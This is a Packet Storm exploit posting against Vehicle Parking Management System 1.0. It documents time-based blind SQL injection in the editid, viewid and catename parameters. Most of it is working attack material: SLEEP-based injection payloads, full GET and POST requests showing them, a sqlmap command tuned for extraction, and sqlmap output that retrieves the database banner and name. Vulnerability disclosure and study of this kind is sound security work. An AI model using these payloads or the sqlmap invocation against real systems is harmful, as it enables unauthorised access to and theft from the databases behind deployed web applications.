what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Vehicle Parking Management System 1.0 SQL Injection

Vehicle Parking Management System 1.0 SQL Injection
Posted Jul 21, 2021
Authored by faisalfs10x

Vehicle Parking Management System version 1.0 suffers from a remote SQL injection vulnerability. Original discovery of SQL injection in this version is attributed to gh1mau in July of 2020.

tags | exploit, remote, sql injection
SHA-256 | 4cd8f0375100e5b08ef632a5d81e17f0c41e7de6fbd847bb2265513d0f7ccc89

Vehicle Parking Management System 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Vehicle Parking Management System - Multiple time-based SQL Injection
# Date: 2021-07-09
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/vehicle-parking-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10, XAMPP


################
# Description #
################

# The system is vulnerable to time-based SQL injection on multiple endpoints. Based on the SLEEP(N) function payload that will sleep for a number of seconds used on the mentioned parameters below, the server response is about (N) seconds delay respectively which mean it is vulnerable to MySQL Blind (Time Based). An attacker can use sqlmap to further the exploitation for extracting sensitive information from the database.


#####################
# PoC of detection #
#####################


PoC #1) param editid - time-based SQLi
Payload: '+AND+(SELECT+5+FROM+(SELECT(SLEEP(5)))B)--+
Request: The response duration = 3251 bytes | 5,024 millis
========

GET /vpms/edit-category.php?editid=5'+AND+(SELECT+5+FROM+(SELECT(SLEEP(5)))B)--+ HTTP/1.1
Host: localhost
Cookie: PHPSESSID=01nt1pa7lgtioktv5ii907c8l3
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/manage-category.php
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0

---


PoC #2) param viewid - time-based SQLi
Payload: '+AND+(SELECT+5+FROM+(SELECT(SLEEP(5)))B)--+
Request: The response duration = 10234 bytes | 5,027 millis
========

GET /vpms/view-outgoingvehicle-detail.php?viewid=4'+AND+(SELECT+5+FROM+(SELECT(SLEEP(5)))B)--+ HTTP/1.1
Host: localhost
Cookie: PHPSESSID=01nt1pa7lgtioktv5ii907c8l3
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/manage-outgoingvehicle.php
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0

---


PoC #3) param catename - time-based SQLi
Payload: ' AND (SELECT 1 FROM (SELECT(SLEEP(2)))A) AND 'B'='B
Request: The response duration = 10234 bytes | 2,037 millis
========

POST /vpms/add-category.php HTTP/1.1
Host: localhost
Origin: http://localhost
Cookie: PHPSESSID=01nt1pa7lgtioktv5ii907c8l3
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/add-category.php
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryps9OB3CnjLULpt3n
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 290

------WebKitFormBoundaryps9OB3CnjLULpt3n
Content-Disposition: form-data; name="catename"

VIP' AND (SELECT 1 FROM (SELECT(SLEEP(2)))A) AND 'B'='B
------WebKitFormBoundaryps9OB3CnjLULpt3n
Content-Disposition: form-data; name="submit"

žée
------WebKitFormBoundaryps9OB3CnjLULpt3n--

---


PoC #4) param viewid - time-based SQLi
Payload: '+AND+(SELECT+7+FROM+(SELECT(SLEEP(3)))A)--+
Request: The response duration = 11452 bytes | 3,041 millis
========

GET /vpms/view-incomingvehicle-detail.php?viewid=7'+AND+(SELECT+7+FROM+(SELECT(SLEEP(3)))A)--+ HTTP/1.1
Host: localhost
Cookie: PHPSESSID=01nt1pa7lgtioktv5ii907c8l3
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/manage-incomingvehicle.php
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0

---


########################
# PoC of exploitation #
########################

# Run sqlmap to extract current database name:

$ sqlmap -u "http://localhost/vpms/edit-category.php?editid=5" --cookie="PHPSESSID=01nt1pa7lgtioktv5ii907c8l3" --timeout=30 --retries=3 -p "editid" --dbms="MySQL" --level=3 --risk=3 --threads=10 --time-sec=5 -b --current-db --batch --answers="crack=N,dict=N,continue=Y,quit=N" --technique=T


###########
# Output #
###########


[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS
[WARNING] heuristic (basic) test shows that GET parameter 'editid' might not be injectable
[INFO] testing for SQL injection on GET parameter 'editid'
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[WARNING] time-based comparison requires larger statistical model, please wait............................ (done)
[INFO] GET parameter 'editid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) value? [Y/n] Y
[INFO] checking if the injection point on GET parameter 'editid' is a false positive
GET parameter 'editid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 58 HTTP(s) requests:
---
Parameter: editid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: editid=5' AND (SELECT 7492 FROM (SELECT(SLEEP(5)))DaOq)-- Otxt
---
[INFO] the back-end DBMS is MySQL
[INFO] fetching banner
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[INFO] retrieved:
[WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
10.1.19-MariaDB
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.24
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
banner: '10.1.19-MariaDB'
[INFO] fetching current database
[INFO] retrieving the length of query output
[INFO] retrieved: 6
[INFO] retrieved: vpmsdb
current database: 'vpmsdb'
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close